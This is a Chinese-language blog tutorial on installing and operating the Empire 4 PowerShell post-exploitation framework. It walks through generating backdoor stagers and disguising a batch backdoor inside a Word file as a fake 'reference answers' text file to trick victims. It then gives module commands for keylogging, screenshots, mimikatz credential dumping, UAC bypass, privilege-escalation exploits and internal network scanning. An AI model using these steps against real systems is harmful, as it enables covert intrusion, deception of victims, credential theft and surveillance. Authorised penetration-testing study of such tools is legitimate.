本文已参与「新人创作礼」活动,一起开启掘金创作之路
Empire4
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测喝大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马,最新版为 Empire 4.2
使用手册:bc-security.gitbook.io/empire-wiki…
环境要求
- Python 版本最低为3.8
- 支持系统版本:Kali Linux Rolling、Ubuntu 20.04、Debian 10
安装方法
命令安装
sudo apt install powershell-empire
Git安装
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh
Docker安装
# Pull the latest image
docker pull bcsecurity/empire:latest
# Run the server with the rest api and socket ports open
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest
# Run the client
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest client
# To run the client against the already running server container
docker container ls
docker exec -it {container-id} ./ps-empire client
# with persistent storage
docker pull bcsecurity/empire:latest
docker create -v /empire --name data bcsecurity/empire:latest
docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data bcsecurity/empire:latest
# if you prefer to be dropped into bash instead of directly into empire
docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data --entrypoint /bin/bash bcsecurity/empire:latest
一般的话直接用命令就可以,提示报错的话就可以使用Git方式安装
安装报错处理
- 提示缺什么依赖就 pip install 安装什么依赖
- 安装前确保自己的python在3.8或以上
- 确保网络环境,安装源没有问题
问题:
安装donut库时报错
先执行以下两条命令
sudo pip3 uninstall setuptools
pip3 install setuptools --upgrade
基本使用
Empire和CS一样采用C/S模式,拥有客户端和服务端
服务端开启:
python3 emprie.py server
客户端开启:
python3 emprie.py client
接下来的操作在客户端进行
基础命令
运行Empire后,输入help命令查看具体的使用帮助
agents Jump to the Agents menu. 跳转到代理菜单
creds Add/display credentials to/from the database. 从数据库中添加/显示凭据
exit Exit Empire
help Displays the help menu. 显示“帮助”菜单。
interact Interact with a particular agent. 与特定的代理交互。
list Lists active agents or listeners. 列出活动代理或侦听器
listeners Interact with active listeners. 与活跃的听众互动。
load Loads Empire modules from a non-standard folder. 从非标准文件夹加载Empire模块
plugin Load a plugin file to extend Empire. 加载插件文件以扩展Empire。
plugins List all available and active plugins. 列出所有可用的和活动的插件
preobfuscate Preobfuscate PowerShell module_source files 预混淆PowerShell模块源文件
reload Reload one (or all) Empire modules. 重新加载一个(或所有)empire模块
report Produce report CSV and log files: sessions.csv, credentials.csv, 生成报告CSV和日志文件:会话。csv、credentials.csvmaster.log
reset Reset a global option (e.g. IP whitelists). 重置全局选项(例如IP白名单)
resource Read and execute a list of Empire commands from a file. 从文件中读取并执行empire命令列表
searchmodule Search Empire module names/descriptions. 搜索帝国模块名称/描述。
set Set a global option (e.g. IP whitelists). 设置一个全局选项(例如IP白名单)。
show Show a global option (e.g. IP whitelists). 显示一个全局选项(例如IP白名单)
usemodule Use an Empire module. 使用empire模块
usestager Use an Empire stager
uselistener Use an Empire stager 使用一个empire监听器
监听器
- 选择监听器类型
uselistener http
输入命令后按 Tab 键可以看到提示,按两次TAB键或者help可以显示可以利用的模块(旧版,新版仅支持下图切换方式)
2.info命令可以查看信息,其中Require为True的值都需要被设置。与metasploit很类似
(Empire: uselistener/http) > info
3.通过set配置参数
4.execeute执行
5.通过 back 返回上一级,使用 listeners 可以查看所设置的监听器
使用 kill 命令删除监听器
生成后门
后门就类似MSF中的payload,其中multi为通用模块,osx是Mac操作系统的模块,剩下的是Windows的模块,下面介绍几个常见的后门
launcher_bat木马
输入usestager windows/launcher_vbs,然后输入info命令查看详细参数,通过set配置参数,通过execeute执行
(Empire: usestager/osx/macho) > usestager windows/launcher_bat
设置参数
# 设置监听器
set Listener Test
# 设置输出目录新版不生效
set OutFile /var/www/html/launcher.bat
excute
可以看到生成的后门文件(火绒和360均可以查杀)
/root/桌面/Empire/empire/client/generated-stagers/
主机点击后client就可以看到上线提示
使用 agents 命令可以查看主机列表
隐蔽方法
为了增加迷惑性,可以将该批处理文件插入到一个office文件中,随便找一个word或者excel文件,单击“插入对象”标签,选择“由文件创建”,单击“浏览”按钮,选择刚才的批处理文件,然后“显示为图标”,可以选“更改图标”,这里建议使用微软的Excel,Word或PowerPoint图标,使用Word的图标,并且更改文件的名称为参考答案,扩展名改为txt,单击“确定”按钮,该对象就会插入Word文件中。
若对方点击word文件中的txt文件即可获取获得系统的控制权限
DLL木马
输入usestager windows/all的命令,输入info命令查看详细参数(旧版,4.2 info 只能看基础信息),通过set配置参数,通过execute执行
可以发现木马被存放在了/root/桌面/Empire/empire/client/generated-stagers目录下,名字为launcher.dll
在目标主机上运行木马文件,即可成功上线
Launcher
如果只需要简单的PowerShell代码,在设置完相应模块后,可以直接在监听器菜单中键入launcher,将很快生成一行base64编码代码,这里输入back命令回到listener下,然后输入launcher powershellshuteer(当前设置的listener名字)命令来生成一个Payload
在装有Powershell的目标机上执行生成的这段命令,即可得到这个主机的权限
注意:4.2版本以不能使用
launcher_vbs木马
输入usestager windows/launcher_vbs,然后输入info命令查看详细参数,通过set配置参数,通过execeute执行
将生成的木马文件在目标机上打开,就会得到这个主机的权限
连接主机&利用
在目标主机反弹成功以后,可以通过agents命令列出当前已连接的主机,这里要注意带有(*)的是已提权成功的主机
然后使用interact命令连接主机,可以使用Tab键补全主机的名称,连接成功以后可以通过 help 命令查看可以使用的命令
# help
┌Help Options────┬─────────────────────────────────────┬─────────────────────────────────┐
│ Name │ Description │ Usage │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ display │ Display an agent property │ display <property_name> │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ download │ Tasks an the specified agent to │ download <file_name> │
│ │ download a file. │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ help │ Display the help menu for the │ help │
│ │ current menu │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ history │ Display last number of task results │ history [<number_tasks>] │
│ │ received. │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ info │ Display agent info. │ info │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ killdate │ Set an agent's killdate │ killdate <kill_date> │
│ │ (01/01/2020) │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ proxy │ Proxy management menu for │ proxy │
│ │ configuring agent proxies │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ script_command │ "Execute a function in the │ shell_command <script_cmd> │
│ │ currently imported PowerShell │ │
│ │ script." │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ script_import │ Imports a PowerShell script from │ script_import <script_location> │
│ │ the server and keeps it in memory │ │
│ │ in the agent. │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ shell │ Tasks an the specified agent to │ shell <shell_cmd> │
│ │ execute a shell command. │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ sleep │ Tasks an the specified agent to │ sleep <delay> <jitter> │
│ │ update delay (s) and jitter (0.0 - │ # 和CS一致 │
│ │ 1.0) │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ update_comms │ Update the listener for an agent. │ update_comms <listener_name> │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ upload │ Tasks an the specified agent to │ upload <local_file_directory> │
│ │ upload a file. │ [destination_file_name] │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ view │ View specific task and result │ view <task_id> │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ workinghours │ Set an agent's working hours │ workinghours <working_hours> │
│ │ (9:00-17:00) │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ whoami │ Tasks an agent to run the shell │ whoami │
│ │ command 'whoami' │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ ps │ Tasks an agent to run the shell │ ps │
│ │ command 'ps' │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ sc │ Tasks the agent to run module │ sc │
│ │ powershell/collection/screenshot. │ │
│ │ Default parameters include: Ratio: │ │
│ │ 80 │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ keylog │ Tasks the agent to run module │ keylog │
│ │ powershell/collection/keylogger. │ │
│ │ Default parameters include: Sleep: │ │
│ │ 1 │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ sherlock │ Tasks the agent to run module │ sherlock │
│ │ powershell/privesc/sherlock. │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ mimikatz │ Tasks the agent to run module power │ mimikatz │
│ │ shell/credentials/mimikatz/logonpas │ │
│ │ swords. │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ psinject │ Tasks the agent to run module │ psinject <Listener> <ProcId> │
│ │ powershell/management/psinject. │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ revtoself │ Tasks the agent to run module │ revtoself │
│ │ powershell/credentials/tokens. │ │
│ │ Default parameters include: │ │
│ │ RevToSelf: True │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ shinject │ Tasks the agent to run module │ shinject <Listener> <ProcId> │
│ │ powershell/management/shinject. │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ spawn │ Tasks the agent to run module │ spawn <Listener> │
│ │ powershell/management/spawn. │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ steal_token │ Tasks the agent to run module │ steal_token <ProcessID> │
│ │ powershell/credentials/tokens. │ │
│ │ Default parameters include: │ │
│ │ ImpersonateUser: True │ │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ bypassuac │ Tasks the agent to run module power │ bypassuac <Listener> │
│ │ shell/privesc/bypassuac_eventvwr. │ │
└────────────────┴─────────────────────────────────────┴─────────────────────────────────┘
使用shell + 命令执行 cmd 命令
shell whoami
可以通过 upload 命令上传文件
新版有很多命令不一样,需要和网上的教程辨别下
信息收集
Empire主要用于后渗透。所以信息收集是比较常用的一个模块,可以使用searchmodule命令搜索需要使用的模块,这里通过键如usemodule collection(4.2版本是usemodule python/collecion/)然后按Tab查看完整的列表
searchmodule 搜索模块
usemodule 使用模块
code_execution 代码执行
collection 收集浏览器、剪切板、keepass、文件浏览记录等信息
credentials 密码凭据的获取和转储
exfiltration 信息渗出
exploitation 漏洞溢出
lateral_movement 横向运动移动
management 用来执行些系统设置,和邮件信息的收集
persistence 权限维持
privesc 本机权限提升
recon 侦察
situational_awareness 评估主机运行环境,网络运行环境
trollsploit 恶作剧
jobs kill JOB_name 停止任务
常用模块
-
屏幕截图
usemodule powershell/collection/screenshot info execute -
键盘记录
usemodule powershell/collection/keylogger info -
剪贴板记录
usemodule powershell/collection/clipboard_monitor info
权限提升
-
Bypassuac
输入以下命令,设置Listener参数,运行execute,会发现成功上线了一个新的反弹
usemodule powershell/privesc/bypassuac set Listener c1ay返回agents,通过list可以看到有一个新的会话,并且带有*,说明提权成功
-
PowerUP
Empire内置了PowerUp的部分工具,用于系统提权,主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式,输入以下命令,然后通过tab键查看完整列表
usemodule powershell/privesc/powerup/ tabAllChecks模块
查找系统中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模块一样,该模块可以执行所有脚本检查系统漏洞,输入以下命令
usemodule powershell/privesc/powerup/allchecks -
GPP
在域内常会启用组策略首选项来更改本地密码,便于管理和部署镜像,其缺点是任何普通域用户都可以从相关域控制器的SYSVOL种读取部署信息。GDD是采用ASE 256加密的,输入以下命令即可查看
usemodule powershell/privesc/gpp -
通过溢出漏洞
输入以下命令即可通过溢出漏洞进行提权
usemodule powershell/privesc/ms16-032 usemodule powershell/privesc/ms16-135 set Listener发现新会话返回,提权成功。可以返回agents通过list查看
-
计划任务system提权
usemodule powershell/persistence/elevated/schtasks
内网探测
环境:
- win2008-1 IP:192.168.179.131 10.0.0.3(已上线)
- win2008-2 IP:10.0.0.2
主机发现
-
arp扫描
usemodule powershell/situational_awareness/network/arpscan set Range 10.0.0.1-10.0.0.254 execute -
smb扫描
usemodule powershell/situational_awareness/network/smbscanner
端口扫描
usemodule powershell/situational_awareness/network/portscan
# 设置参数
set Hosts 10.0.0.2 #设置ip
set TopPorts True #使用top字典
其他信息收集
查找本地管理员的主机
usemodule powershell/situational_awareness/network/powerview/find_localadmin_access
查看共享文件
usemodule powershell/situational_awareness/network/powerview/share_finder
本地信息收集
usemodule powershell/situational_awareness/host/winenum
参考文章: